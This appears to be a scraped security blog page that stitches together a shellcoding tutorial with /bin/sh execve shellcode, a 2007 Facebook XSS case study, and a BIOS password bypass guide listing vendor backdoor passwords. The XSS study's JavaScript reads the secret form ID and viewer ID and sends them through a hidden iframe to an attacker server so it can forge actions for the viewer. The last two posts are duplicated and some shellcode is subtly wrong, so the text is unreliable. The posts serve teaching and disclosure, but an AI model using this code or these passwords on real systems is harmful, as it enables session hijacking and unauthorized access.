Introduction
This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.
The multiplicity of mul
This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.
mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:
movl $0x0a,%eax
mul $0x0a
This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).
So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:
xorl %ecx,%ecx
mul %ecx
What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.
The div instruction
Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:
xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80
divl %eax # -1 / -1 = 1
int $0x80
Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.
Unlocking the power of leal
The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.
xorl %ecx,%ecx
leal 0x10(%ecx),%eax
This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:
xorl %eax,%eax
movb $0x10,%eax
I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80
Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.
Conclusion
I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.
Sunday, February 1, 2009
Monday, January 19, 2009
A Security Case Study Facebook XSS(Cross Site Hacking)
The Facebook Platform represents a powerful combination of social networking
and third-party gadget aggregation. Officially released in May 2007, the
Facebook API provides developers with millions of potential users and partial
access to their information. The highly personal nature of Facebook data and the
amplifying effects of the social network make it crucial that the Facebook
Platform does not enable third-party attacks. This paper describes Facebook’s
security mechanisms and presents a cross-site scripting vulnerability in
Facebook Markup Language that allows arbitrary JavaScript to be added to
application users’ profiles. The profile in the code can then defeat their antirequest
forging security measures and hijack the sessions of viewers.
An introduction to the Facebook Platform
Facebook tightly integrates third-party applications into their website.
Applications are served externally but are viewed in the context of a Facebookhosted
page with a Facebook URL. An application has two choices about its
Facebook home page: it can be isolated in an iFrame or written in Facebook’s
proprietary markup language and embedded directly into the page. Code
written in Facebook Markup Language (FBML) is retrieved by the Facebook
server, parsed, and then inserted into their surrounding code. FBML includes a
“safe” subset of HTML and CSS as well as Facebook-specific tags.
In addition to these application home pages, users may add gadgets to their
profiles. Profile gadgets are presented alongside Facebook-provided content and
allow users to individualize a small portion of their profile. The gadget code
must be written in FBML.
Session security measures
Facebook uses two methods to identify and authenticate users: cookies, which
contain session information, and hidden form IDs that are supposed to ensure
that forms come from the user. With either a cookie or knowledge of a user’s
form ID, an attacker can impersonate a victim. A cookie’s session information
would allow an attacker to construct XMLHttpRequests and assume all the same
privileges as the user. Hidden form IDs can be used to session surf, meaning the
attacker can embed a hidden form into a seemingly innocent page. The form
would automatically submit when viewed by a logged-in user and have the
JULY 2007
2
authentication credentials of the unwitting viewer. It is imperative that both
hidden form IDs and cookies be shielded from third-party applications.
The DOM provides built-in isolation for third-party code in iFrames. The Same
Origin Policy prevents the applications from accessing any of the content from
the Facebook servers, including the cookie and the form IDs. However, unlike
parsed FBML code, Facebook must pass all user and viewer information to the
application. This limits Facebook’s privacy control.
FBML gives Facebook the ability to abstract user information and maintain
some uniformity of style between applications. Since the parsed third-party code
is included directly in the page, any malicious code that could slip through their
filters would have access to the hidden form IDs. Depending on the browser
version, the code might also be able to fetch the user’s Facebook cookies. Until
recently, many browsers (such as Firefox prior to the 2.0.0.5 release) ignored the
http-only flag on cookies and would leave them accessible through the JavaScript
document.cookie variable. Facebook therefore attempts to strip FBML of all
references to JavaScript or external code.
The XSS vulnerability
I discovered an oversight in the parsing of the tag that allows the
application owner to push potentially malicious code to the profile of users. The
tag embeds an Adobe Flash .swf file into a page. To keep ostentatious
graphics and audio from annoying viewers, a static preview image is provided as
a link to the Flash content. The tag includes an imgstyle attribute
that is stripped of the ", <, and > characters but not checked for executable
content. The code I used is of the form:
url(\'http://myserver/xssmoz.xml#xss\');" />
After being parsed and added to the user’s profile, the highlighted imgstyle
attribute becomes:
This causes Firefox to retrieve and evaluate the contents of the external XML file.
(The exploit could be extended to Internet Explorer by using the CSS
JULY 2007
3
expression() function to cause the CSS to execute JavaScript.) The Firefox
XML file contains the attacker’s JavaScript.
The JavaScript in this file is now executing in the context of the authentic
Facebook page with the user’s valid credentials.
Accessing the page contents
From here, style sheets and elements within the page may be simply accessed.
The following code fragments change the way the profile owner’s name is
displayed and get the secret form ID, respectively.
document.styleSheets[16].insertRule('.profile_name h2 {
color: #aa1c73; text-transform: uppercase; letter-spacing:
5px;}',0);
var attr =
document.getElementById("post_form_id").attributes;
var hidden = attr.getNamedItem("value").value;
The profile viewer’s ID is not stored in any form value on the page but can be
found in a URL parameter on the page. The container with that link may
therefore be searched for the viewer’s ID.
var chunk =
document.getElementById("nav_unused_1").innerHTML;
var start = chunk.indexOf("profile.php?id=") + 15;
var end = chunk.indexOf("profile_link") – 9;
var uid = chunk.substring(start,end);
The form and user IDs may then be used for the potentially malicious part of the
attack.
Impersonating the viewer
JULY 2007
4
Although it is possible to fetch the session information using the JavaScript
document.cookie variable in older browsers, I chose to explore the avenue of
session riding to ensure effectiveness against browsers that support http-only
cookies. With the secret form ID value, an attacker can falsely submit forms on
the viewer’s behalf to perform any action on the site. This includes removing
privacy settings, adding friends, sending messages, and installing the application
to that user’s account. Since the code only has access to the viewer’s session until
he or she navigates away from the page, installing an application is particularly
appealing since it provides the potential for rapid spreading of the code.
Alternately, an application could become popular in its own right and stealthily
include malicious code behind its attractive veneer.
Demonstration
My demonstration performed two actions: it added a user as my friend (if that
user weren’t already) or posted “Adrine is my hero” to my fake account’s wall (if
that user were already my friend). I did this by inserting an iFrame into the
DOM tree and passing the necessary form values to the inner script (which was
on my server). That script then sent a POST request to the appropriate
Facebook form. The following JavaScript code inserts the iFrame for the wall
post:
var myframe = document.createElement("iframe");
myframe.setAttribute("width","0px");
myframe.setAttribute("height","0px");
myframe.setAttribute("style","border:0px;");
myframe.setAttribute("src","http://myserver/wallpost.php?hid
den="+hidden+"&uid="+uid);
document.getElementById("profileimage").appendChild(myframe)
Notably, this iFrame will load without the user’s knowledge because it is of size
0x0 and without a border. When it loads, it makes a request to the attacker’s
server wallpost.php script, passing in the hidden and UID values as
parameters. The PHP script generates a Facebook form, with the UID and
hidden variables included as necessary to satisfy Facebook’s authentication
mechanisms. The value “[targetUID]” holds the place of the profile that receives
the wall post. Removing extraneous PHP commands, the form was:
action="http://www.facebook.com/wallpost.php?id=[targetUID]"
method="post">
JULY 2007
5
value="$_GET['uid']" />
value="$_GET['hidden']" />
The form is then automatically submitted with a line of JavaScript,
document.myform.submit();, which is appended to the end of the iFrame.
The ramifications of the exploit
The immediate consequence of this cross-site scripting hole is that an attacker
may temporarily gain control over a user’s account. It would be easy for
Facebook to fix this specific problem, however: it’s a single parameter that needs
to be run through one of their existing filters.
More importantly, we should consider the design flaw that allowed this exploit
to occur. XSS vulnerabilities are common; the significant part of the attack is
not that a new vulnerability was discovered, but that a single breach leaves the
entire site open to abuse. The exploitability of their design raises questions
about the prudence of inserting third-party code (parsed or not) into a page that
contains the user’s information and login credentials. The problem cannot be
simply solved by generating unique form IDs for each page, because this can be
overcome by adding a new iFrame and searching the contents of that page for
the appropriate form ID.
The alternative to their current design is to place the third-party content in an
iFrame on a domain that is not *.facebook.com. XSS holes would be therefore be
sandboxed. This would limit the ability of the code to communicate with the
Facebook page context (e.g. to determine the identity of the profile viewer), but
their current model barely makes any use of this functionality.
and third-party gadget aggregation. Officially released in May 2007, the
Facebook API provides developers with millions of potential users and partial
access to their information. The highly personal nature of Facebook data and the
amplifying effects of the social network make it crucial that the Facebook
Platform does not enable third-party attacks. This paper describes Facebook’s
security mechanisms and presents a cross-site scripting vulnerability in
Facebook Markup Language that allows arbitrary JavaScript to be added to
application users’ profiles. The profile in the code can then defeat their antirequest
forging security measures and hijack the sessions of viewers.
An introduction to the Facebook Platform
Facebook tightly integrates third-party applications into their website.
Applications are served externally but are viewed in the context of a Facebookhosted
page with a Facebook URL. An application has two choices about its
Facebook home page: it can be isolated in an iFrame or written in Facebook’s
proprietary markup language and embedded directly into the page. Code
written in Facebook Markup Language (FBML) is retrieved by the Facebook
server, parsed, and then inserted into their surrounding code. FBML includes a
“safe” subset of HTML and CSS as well as Facebook-specific tags.
In addition to these application home pages, users may add gadgets to their
profiles. Profile gadgets are presented alongside Facebook-provided content and
allow users to individualize a small portion of their profile. The gadget code
must be written in FBML.
Session security measures
Facebook uses two methods to identify and authenticate users: cookies, which
contain session information, and hidden form IDs that are supposed to ensure
that forms come from the user. With either a cookie or knowledge of a user’s
form ID, an attacker can impersonate a victim. A cookie’s session information
would allow an attacker to construct XMLHttpRequests and assume all the same
privileges as the user. Hidden form IDs can be used to session surf, meaning the
attacker can embed a hidden form into a seemingly innocent page. The form
would automatically submit when viewed by a logged-in user and have the
JULY 2007
2
authentication credentials of the unwitting viewer. It is imperative that both
hidden form IDs and cookies be shielded from third-party applications.
The DOM provides built-in isolation for third-party code in iFrames. The Same
Origin Policy prevents the applications from accessing any of the content from
the Facebook servers, including the cookie and the form IDs. However, unlike
parsed FBML code, Facebook must pass all user and viewer information to the
application. This limits Facebook’s privacy control.
FBML gives Facebook the ability to abstract user information and maintain
some uniformity of style between applications. Since the parsed third-party code
is included directly in the page, any malicious code that could slip through their
filters would have access to the hidden form IDs. Depending on the browser
version, the code might also be able to fetch the user’s Facebook cookies. Until
recently, many browsers (such as Firefox prior to the 2.0.0.5 release) ignored the
http-only flag on cookies and would leave them accessible through the JavaScript
document.cookie variable. Facebook therefore attempts to strip FBML of all
references to JavaScript or external code.
The XSS vulnerability
I discovered an oversight in the parsing of the
application owner to push potentially malicious code to the profile of users. The
graphics and audio from annoying viewers, a static preview image is provided as
a link to the Flash content. The
that is stripped of the ", <, and > characters but not checked for executable
content. The code I used is of the form:
url(\'http://myserver/xssmoz.xml#xss\');" />
After being parsed and added to the user’s profile, the highlighted imgstyle
attribute becomes:
This causes Firefox to retrieve and evaluate the contents of the external XML file.
(The exploit could be extended to Internet Explorer by using the CSS
JULY 2007
3
expression() function to cause the CSS to execute JavaScript.) The Firefox
XML file contains the attacker’s JavaScript.
The JavaScript in this file is now executing in the context of the authentic
Facebook page with the user’s valid credentials.
Accessing the page contents
From here, style sheets and elements within the page may be simply accessed.
The following code fragments change the way the profile owner’s name is
displayed and get the secret form ID, respectively.
document.styleSheets[16].insertRule('.profile_name h2 {
color: #aa1c73; text-transform: uppercase; letter-spacing:
5px;}',0);
var attr =
document.getElementById("post_form_id").attributes;
var hidden = attr.getNamedItem("value").value;
The profile viewer’s ID is not stored in any form value on the page but can be
found in a URL parameter on the page. The container with that link may
therefore be searched for the viewer’s ID.
var chunk =
document.getElementById("nav_unused_1").innerHTML;
var start = chunk.indexOf("profile.php?id=") + 15;
var end = chunk.indexOf("profile_link") – 9;
var uid = chunk.substring(start,end);
The form and user IDs may then be used for the potentially malicious part of the
attack.
Impersonating the viewer
JULY 2007
4
Although it is possible to fetch the session information using the JavaScript
document.cookie variable in older browsers, I chose to explore the avenue of
session riding to ensure effectiveness against browsers that support http-only
cookies. With the secret form ID value, an attacker can falsely submit forms on
the viewer’s behalf to perform any action on the site. This includes removing
privacy settings, adding friends, sending messages, and installing the application
to that user’s account. Since the code only has access to the viewer’s session until
he or she navigates away from the page, installing an application is particularly
appealing since it provides the potential for rapid spreading of the code.
Alternately, an application could become popular in its own right and stealthily
include malicious code behind its attractive veneer.
Demonstration
My demonstration performed two actions: it added a user as my friend (if that
user weren’t already) or posted “Adrine is my hero” to my fake account’s wall (if
that user were already my friend). I did this by inserting an iFrame into the
DOM tree and passing the necessary form values to the inner script (which was
on my server). That script then sent a POST request to the appropriate
Facebook form. The following JavaScript code inserts the iFrame for the wall
post:
var myframe = document.createElement("iframe");
myframe.setAttribute("width","0px");
myframe.setAttribute("height","0px");
myframe.setAttribute("style","border:0px;");
myframe.setAttribute("src","http://myserver/wallpost.php?hid
den="+hidden+"&uid="+uid);
document.getElementById("profileimage").appendChild(myframe)
Notably, this iFrame will load without the user’s knowledge because it is of size
0x0 and without a border. When it loads, it makes a request to the attacker’s
server wallpost.php script, passing in the hidden and UID values as
parameters. The PHP script generates a Facebook form, with the UID and
hidden variables included as necessary to satisfy Facebook’s authentication
mechanisms. The value “[targetUID]” holds the place of the profile that receives
the wall post. Removing extraneous PHP commands, the form was:
action="http://www.facebook.com/wallpost.php?id=[targetUID]"
method="post">
JULY 2007
5
value="$_GET['uid']" />
value="$_GET['hidden']" />
The form is then automatically submitted with a line of JavaScript,
document.myform.submit();, which is appended to the end of the iFrame.
The ramifications of the exploit
The immediate consequence of this cross-site scripting hole is that an attacker
may temporarily gain control over a user’s account. It would be easy for
Facebook to fix this specific problem, however: it’s a single parameter that needs
to be run through one of their existing filters.
More importantly, we should consider the design flaw that allowed this exploit
to occur. XSS vulnerabilities are common; the significant part of the attack is
not that a new vulnerability was discovered, but that a single breach leaves the
entire site open to abuse. The exploitability of their design raises questions
about the prudence of inserting third-party code (parsed or not) into a page that
contains the user’s information and login credentials. The problem cannot be
simply solved by generating unique form IDs for each page, because this can be
overcome by adding a new iFrame and searching the contents of that page for
the appropriate form ID.
The alternative to their current design is to place the third-party content in an
iFrame on a domain that is not *.facebook.com. XSS holes would be therefore be
sandboxed. This would limit the ability of the code to communicate with the
Facebook page context (e.g. to determine the identity of the profile viewer), but
their current model barely makes any use of this functionality.
Sunday, January 18, 2009
How to Bypass BIOS Passwords
How to Bypass BIOS Passwords
BIOS passwords can add an extra layer of security for desktop and laptop computers. They are used to either prevent a user from changing the BIOS settings or to prevent the PC from booting without a password. Unfortunately, BIOS passwords can also be a liability if a user forgets their password, or changes the password to intentionally lock out the corporate IT department. Sending the unit back to the manufacturer to have the BIOS reset can be expensive and is usually not covered in the warranty. Never fear, all is not lost. There are a few known backdoors and other tricks of the trade that can be used to bypass or reset the BIOS
DISCLAIMER
This article is intended for IT Professionals and systems administrators with experience servicing computer hardware. It is not intended for home users, hackers, or computer thieves attempting to crack the password on a stolen PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. LabMice.net is not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.
Before attempting to bypass the BIOS password on a computer, please take a minute to contact the hardware manufacturer support staff directly and ask for their recommended methods of bypassing the BIOS security. In the event the manufacturer cannot (or will not) help you, there are a number of methods that can be used to bypass or reset the BIOS password yourself. They include:
Using a manufacturers backdoor password to access the BIOS
Use password cracking software
Reset the CMOS using the jumpers or solder beads.
Removing the CMOS battery for at least 10 minutes
Overloading the keyboard buffer
Using a professional service
Please remember that most BIOS passwords do not protect the hard drive, so if you need to recover the data, simply remove the hard drive and install it in an identical system, or configure it as a slave drive in an existing system. The exception to this are laptops, especially IBM Thinkpads, which silently lock the hard drive if the supervisor password is enabled. If the supervisor password is reset without resetting the and hard drive as well, you will be unable to access the data on the drive.
--------------------------------------------------------------------------------
Backdoor passwords
Many BIOS manufacturers have provided backdoor passwords that can be used to access the BIOS setup in the event you have lost your password. These passwords are case sensitive, so you may wish to try a variety of combinations. Keep in mind that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards. Laptops typically have better BIOS security than desktop systems, and we are not aware of any backdoor passwords that will work with name brand laptops.
WARNING: Some BIOS configurations will lock you out of the system completely if you type in an incorrect password more than 3 times. Read your manufacturers documentation for the BIOS setting before you begin typing in passwords
Award BIOS backdoor passwords:
ALFAROME ALLy aLLy aLLY ALLY aPAf _award AWARD_SW AWARD?SW AWARD SW AWARD PW AWKWARD awkward BIOSTAR CONCAT CONDO Condo d8on djonet HLT J64 J256 J262 j332 j322 KDD Lkwpeter LKWPETER PINT pint SER SKY_FOX SYXZ syxz shift + syxz TTPTHA ZAAADA ZBAAACA ZJAAADC 01322222
589589 589721 595595 598598
AMI BIOS backdoor passwords:
AMI AAAMMMIII BIOS PASSWORD HEWITT RAND AMI?SW AMI_SW LKWPETER A.M.I. CONDO
PHOENIX BIOS backdoor passwords:
phoenix, PHOENIX, CMOS, BIOS
MISC. COMMON PASSWORDS
ALFAROME BIOSTAR biostar biosstar CMOS cmos LKWPETER lkwpeter setup SETUP Syxz Wodj
OTHER BIOS PASSWORDS BY MANUFACTURER
Manufacturer Password
VOBIS & IBM merlin
Dell Dell
Biostar Biostar
Compaq Compaq
Enox xo11nE
Epox central
Freetech Posterie
IWill iwill
Jetway spooml
Packard Bell bell9
QDI QDI
Siemens SKY_FOX
TMC BIGO
Toshiba Toshiba
TOSHIBA BIOS
Most Toshiba laptops and some desktop systems will bypass the BIOS password if the left shift key is held down during boot
IBM APTIVA BIOS
Press both mouse buttons repeatedly during the boot
--------------------------------------------------------------------------------
Password cracking software
The following software can be used to either crack or reset the BIOS on many chipsets. If your PC is locked with a BIOS administrator password that will not allow access to the floppy drive, these utilities may not work. Also, since these utilities do not come from the manufacturer, use them cautiously and at your own risk.
Cmos password recovery tools 3.1
!BIOS (get the how-to article)
RemPass
KILLCMOS
--------------------------------------------------------------------------------
Using the Motherboard "Clear CMOS" Jumper or Dipswitch settings
Many motherboards feature a set of jumpers or dipswitches that will clear the CMOS and wipe all of the custom settings including BIOS passwords. The locations of these jumpers / dipswitches will vary depending on the motherboard manufacturer and ideally you should always refer to the motherboard or computer manufacturers documentation. If the documentation is unavailable, the jumpers/dipswitches can sometimes be found along the edge of the motherboard, next to the CMOS battery, or near the processor. Some manufacturers may label the jumper / dipswitch CLEAR - CLEAR CMOS - CLR - CLRPWD - PASSWD - PASSWORD - PWD. On laptop computers, the dipswitches are usually found under the keyboard or within a compartment at the bottom of the laptop.
Please remember to unplug your PC and use a grounding strip before reaching into your PC and touching the motherboard. Once you locate and rest the jumper switches, turn the computer on and check if the password has been cleared. If it has, turn the computer off and return the jumpers or dipswitches to its original position.
--------------------------------------------------------------------------------
Removing the CMOS Battery
The CMOS settings on most systems are buffered by a small battery that is attached to the motherboard. (It looks like a small watch battery). If you unplug the PC and remove the battery for 10-15 minutes, the CMOS may reset itself and the password should be blank. (Along with any other machine specific settings, so be sure you are familiar with manually reconfiguring the BIOS settings before you do this.) Some manufacturers backup the power to the CMOS chipset by using a capacitor, so if your first attempt fails, leave the battery out (with the system unplugged) for at least 24 hours. Some batteries are actually soldered onto the motherboard making this task more difficult. Unsoldering the battery incorrectly may damage your motherboard and other components, so please don't attempt this if you are inexperienced. Another option may be to remove the CMOS chip from the motherboard for a period of time.
Note: Removing the battery to reset the CMOS will not work for all PC's, and almost all of the newer laptops store their BIOS passwords in a manner which does not require continuous power, so removing the CMOS battery may not work at all. IBM Thinkpad laptops lock the hard drive as well as the BIOS when the supervisor password is set. If you reset the BIOS password, but cannot reset the hard drive password, you may not be able to access the drive and it will remain locked, even if you place it in a new laptop. IBM Thinkpads have special jumper switches on the motherboard, and these should be used to reset the system.
--------------------------------------------------------------------------------
Overloading the KeyBoard Buffer
On some older computer systems, you can force the CMOS to enter its setup screen on boot by overloading the keyboard buffer. This can be done by booting with the keyboard or mouse unattached to the systems, or on some systems by hitting the ESC key over 100 times in rapid succession.
--------------------------------------------------------------------------------
Jumping the Solder Beads on the CMOS
It is also possible to reset the CMOS by connecting or "jumping" specific solder beads on the chipset. There are too many chipsets to do a breakdown of which points to jump on individual chipsets, and the location of these solder beads can vary by manufacturer, so please check your computer and motherboard documentation for details. This technique is not recommended for the inexperienced and should be only be used as a "last ditch" effort.
--------------------------------------------------------------------------------
Using a professional service
If the manufacturer of the laptop or desktop PC can't or won't reset the BIOS password, you still have the option of using a professional service. Password Crackers, Inc., offers a variety of services for desktop and laptop computers for between $100 and $400. For most of these services, you'll need to provide some type of legitimate proof of ownership. This may be difficult if you've acquired the computer second hand or from an online auction.
BIOS passwords can add an extra layer of security for desktop and laptop computers. They are used to either prevent a user from changing the BIOS settings or to prevent the PC from booting without a password. Unfortunately, BIOS passwords can also be a liability if a user forgets their password, or changes the password to intentionally lock out the corporate IT department. Sending the unit back to the manufacturer to have the BIOS reset can be expensive and is usually not covered in the warranty. Never fear, all is not lost. There are a few known backdoors and other tricks of the trade that can be used to bypass or reset the BIOS
DISCLAIMER
This article is intended for IT Professionals and systems administrators with experience servicing computer hardware. It is not intended for home users, hackers, or computer thieves attempting to crack the password on a stolen PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. LabMice.net is not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.
Before attempting to bypass the BIOS password on a computer, please take a minute to contact the hardware manufacturer support staff directly and ask for their recommended methods of bypassing the BIOS security. In the event the manufacturer cannot (or will not) help you, there are a number of methods that can be used to bypass or reset the BIOS password yourself. They include:
Using a manufacturers backdoor password to access the BIOS
Use password cracking software
Reset the CMOS using the jumpers or solder beads.
Removing the CMOS battery for at least 10 minutes
Overloading the keyboard buffer
Using a professional service
Please remember that most BIOS passwords do not protect the hard drive, so if you need to recover the data, simply remove the hard drive and install it in an identical system, or configure it as a slave drive in an existing system. The exception to this are laptops, especially IBM Thinkpads, which silently lock the hard drive if the supervisor password is enabled. If the supervisor password is reset without resetting the and hard drive as well, you will be unable to access the data on the drive.
--------------------------------------------------------------------------------
Backdoor passwords
Many BIOS manufacturers have provided backdoor passwords that can be used to access the BIOS setup in the event you have lost your password. These passwords are case sensitive, so you may wish to try a variety of combinations. Keep in mind that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards. Laptops typically have better BIOS security than desktop systems, and we are not aware of any backdoor passwords that will work with name brand laptops.
WARNING: Some BIOS configurations will lock you out of the system completely if you type in an incorrect password more than 3 times. Read your manufacturers documentation for the BIOS setting before you begin typing in passwords
Award BIOS backdoor passwords:
ALFAROME ALLy aLLy aLLY ALLY aPAf _award AWARD_SW AWARD?SW AWARD SW AWARD PW AWKWARD awkward BIOSTAR CONCAT CONDO Condo d8on djonet HLT J64 J256 J262 j332 j322 KDD Lkwpeter LKWPETER PINT pint SER SKY_FOX SYXZ syxz shift + syxz TTPTHA ZAAADA ZBAAACA ZJAAADC 01322222
589589 589721 595595 598598
AMI BIOS backdoor passwords:
AMI AAAMMMIII BIOS PASSWORD HEWITT RAND AMI?SW AMI_SW LKWPETER A.M.I. CONDO
PHOENIX BIOS backdoor passwords:
phoenix, PHOENIX, CMOS, BIOS
MISC. COMMON PASSWORDS
ALFAROME BIOSTAR biostar biosstar CMOS cmos LKWPETER lkwpeter setup SETUP Syxz Wodj
OTHER BIOS PASSWORDS BY MANUFACTURER
Manufacturer Password
VOBIS & IBM merlin
Dell Dell
Biostar Biostar
Compaq Compaq
Enox xo11nE
Epox central
Freetech Posterie
IWill iwill
Jetway spooml
Packard Bell bell9
QDI QDI
Siemens SKY_FOX
TMC BIGO
Toshiba Toshiba
TOSHIBA BIOS
Most Toshiba laptops and some desktop systems will bypass the BIOS password if the left shift key is held down during boot
IBM APTIVA BIOS
Press both mouse buttons repeatedly during the boot
--------------------------------------------------------------------------------
Password cracking software
The following software can be used to either crack or reset the BIOS on many chipsets. If your PC is locked with a BIOS administrator password that will not allow access to the floppy drive, these utilities may not work. Also, since these utilities do not come from the manufacturer, use them cautiously and at your own risk.
Cmos password recovery tools 3.1
!BIOS (get the how-to article)
RemPass
KILLCMOS
--------------------------------------------------------------------------------
Using the Motherboard "Clear CMOS" Jumper or Dipswitch settings
Many motherboards feature a set of jumpers or dipswitches that will clear the CMOS and wipe all of the custom settings including BIOS passwords. The locations of these jumpers / dipswitches will vary depending on the motherboard manufacturer and ideally you should always refer to the motherboard or computer manufacturers documentation. If the documentation is unavailable, the jumpers/dipswitches can sometimes be found along the edge of the motherboard, next to the CMOS battery, or near the processor. Some manufacturers may label the jumper / dipswitch CLEAR - CLEAR CMOS - CLR - CLRPWD - PASSWD - PASSWORD - PWD. On laptop computers, the dipswitches are usually found under the keyboard or within a compartment at the bottom of the laptop.
Please remember to unplug your PC and use a grounding strip before reaching into your PC and touching the motherboard. Once you locate and rest the jumper switches, turn the computer on and check if the password has been cleared. If it has, turn the computer off and return the jumpers or dipswitches to its original position.
--------------------------------------------------------------------------------
Removing the CMOS Battery
The CMOS settings on most systems are buffered by a small battery that is attached to the motherboard. (It looks like a small watch battery). If you unplug the PC and remove the battery for 10-15 minutes, the CMOS may reset itself and the password should be blank. (Along with any other machine specific settings, so be sure you are familiar with manually reconfiguring the BIOS settings before you do this.) Some manufacturers backup the power to the CMOS chipset by using a capacitor, so if your first attempt fails, leave the battery out (with the system unplugged) for at least 24 hours. Some batteries are actually soldered onto the motherboard making this task more difficult. Unsoldering the battery incorrectly may damage your motherboard and other components, so please don't attempt this if you are inexperienced. Another option may be to remove the CMOS chip from the motherboard for a period of time.
Note: Removing the battery to reset the CMOS will not work for all PC's, and almost all of the newer laptops store their BIOS passwords in a manner which does not require continuous power, so removing the CMOS battery may not work at all. IBM Thinkpad laptops lock the hard drive as well as the BIOS when the supervisor password is set. If you reset the BIOS password, but cannot reset the hard drive password, you may not be able to access the drive and it will remain locked, even if you place it in a new laptop. IBM Thinkpads have special jumper switches on the motherboard, and these should be used to reset the system.
--------------------------------------------------------------------------------
Overloading the KeyBoard Buffer
On some older computer systems, you can force the CMOS to enter its setup screen on boot by overloading the keyboard buffer. This can be done by booting with the keyboard or mouse unattached to the systems, or on some systems by hitting the ESC key over 100 times in rapid succession.
--------------------------------------------------------------------------------
Jumping the Solder Beads on the CMOS
It is also possible to reset the CMOS by connecting or "jumping" specific solder beads on the chipset. There are too many chipsets to do a breakdown of which points to jump on individual chipsets, and the location of these solder beads can vary by manufacturer, so please check your computer and motherboard documentation for details. This technique is not recommended for the inexperienced and should be only be used as a "last ditch" effort.
--------------------------------------------------------------------------------
Using a professional service
If the manufacturer of the laptop or desktop PC can't or won't reset the BIOS password, you still have the option of using a professional service. Password Crackers, Inc., offers a variety of services for desktop and laptop computers for between $100 and $400. For most of these services, you'll need to provide some type of legitimate proof of ownership. This may be difficult if you've acquired the computer second hand or from an online auction.
Subscribe to:
Posts (Atom)
